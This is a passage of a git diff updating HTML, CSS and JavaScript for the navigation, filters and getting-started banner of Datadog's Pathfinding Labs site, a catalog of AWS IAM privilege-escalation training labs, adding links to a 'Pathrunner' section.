+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/getting-started/index.html b/docs/labs/getting-started/index.html
index 2783671f..71b83c05 100644
--- a/docs/labs/getting-started/index.html
+++ b/docs/labs/getting-started/index.html
@@ -647,6 +647,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -705,6 +706,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child active">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -751,6 +760,36 @@
                     </a>
                 </div>
             </div>
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
             <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
diff --git a/docs/labs/github-oidc-cross-account-pivot/index.html b/docs/labs/github-oidc-cross-account-pivot/index.html
index b6e75fcc..ad8ff716 100644
--- a/docs/labs/github-oidc-cross-account-pivot/index.html
+++ b/docs/labs/github-oidc-cross-account-pivot/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/glue-001-to-bucket/index.html b/docs/labs/glue-001-to-bucket/index.html
index ebb35a8b..0a302df4 100644
--- a/docs/labs/glue-001-to-bucket/index.html
+++ b/docs/labs/glue-001-to-bucket/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
